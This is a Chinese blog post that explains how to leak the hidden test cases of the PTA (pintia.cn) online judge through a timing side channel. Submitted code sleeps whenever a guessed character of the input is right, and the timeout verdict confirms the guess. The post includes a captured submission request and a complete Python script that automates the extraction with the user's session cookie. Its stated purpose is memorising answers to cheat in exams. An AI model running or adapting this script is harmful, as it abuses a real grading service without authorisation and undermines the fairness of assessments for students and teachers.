获取PTA测试用例-附带脚本

PTA是大家熟知的代码作业提交平台,有些考试也在PTA上进行

好不容易写的代码没有得分一定会想知道题目的测试用例是什么吧?

考试背不过代码,那么获取测试用例然后直接背输出结果会不会简单一些呢?毕竟测试用例一直是固定的

今天就给它搞一波

首先测试了一些数据外带和报错的方法,均没有成功,这里采用类似SQL时间盲注的方法

先讲一下盲注原理,我们先随便交一道题并进行抓包

这是提交代码的数据包

POST /api/exams/1234567388888888/submissions HTTP/2
Host: pintia.cn
Cookie: 秘
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: application/json;charset=UTF-8

{"details":[{"problemId":"0","problemSetProblemId":"261","programmingSubmissionDetail":{"compiler":"PYTHON3","program":"import time\nif input()=='99999':\n    time.sleep(1)"}}],"problemType":"PROGRAMMING"}

响应包拿到一串神秘数字76543211111111

{"submissionId":"765432111111111","submissionType":"SUBMISSION_TYPE_NONE","problems":[]}

后面可以发现它是用来获取题目得分情况的,进行GET请求/api/submissions/765432111111111

响应包是一串json,包含题目的"错因"

那么我们可以像下面这段代码一样对输入的每一个字符依次判断,如果猜对了字符就延迟1秒,通过看"错因"是否为"超时"就可以判断是否猜对,如果"错因"为"非零返回"就超长了(如input()[10000000])

import time
if input()[0]=='2': #如果输入的第一个字符是2
    time.sleep(1) #延迟1秒

比如这个结果可以看出来2、3测试点第一个字符就是2,通过这样的方法就可以获取每一个字符,当然要写一个脚本自己跑

 

 

脚本就在这里啦,可以自己改装用于其他平台,也可以加入二分法提高效率

import sys
import json
import time
import requests

def get_json(url,post,cookie):
    header={'Host':'pintia.cn','Cookie':cookie,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36','Content-Type':'application/json;charset=UTF-8','Accept':'application/json;charset=UTF-8'}
    r1=requests.post(url,data=post,headers=header) #提交答案拿到submissionId
    while True:
        r2=requests.get('https://pintia.cn/api/submissions/'+r1.json()['submissionId'],headers=header) #通过submissionId获取测试结果
        if r2.json()['submission']['judgeResponseContents']!=[]: #成功获取到结果,有时需要等待
            break
        time.sleep(2)
    return r2.json()

url='https://pintia.cn'+input('URL:') #/api/exams/1552620996363530240/submissions
post=input('POST:')
cookie=input('Cookie:').replace(' ','')
result=[]
payload="import time\nif ord(input()[!])==#:\n    time.sleep(1)" #本题延迟一秒即可

i=0
while True:
    for ascii_ in list(range(48,58)): #可能出现的字符ascii列表,这个范围是数字的
        post_=post.replace('@',payload.replace('!',str(i)).replace('#',str(ascii_))) #设置payload
        json_=get_json(url,post_,cookie) #获取测试结果
        max=len(json_['publicCases']) #测试用例总数
        while len(result)<max: #将最终结果初始化为空
            result+=['']
        tmp=0
        for j in list(range(max)): #判断每个用例的情况
            if json_['submission']['judgeResponseContents'][0]['programmingJudgeResponseContent']['testcaseJudgeResults'][str(j)]['result']=='TIME_LIMIT_EXCEEDED':
                result[j]+=chr(ascii_) #字母正确
            if json_['submission']['judgeResponseContents'][0]['programmingJudgeResponseContent']['testcaseJudgeResults'][str(j)]['result']=='NON_ZERO_EXIT_CODE':
                tmp+=1
        if tmp==max: #每一个用例结果都超长
            sys.exit()
        print(result)
    i+=1

POST是提交题目的包的json字符串,要将program的值替换为@

所以这道题的测试用例就是

14

5

2

29

99999

posted @ 2022-11-25 19:46  Hacker&Cat  阅读(4216)  评论(6编辑  收藏  举报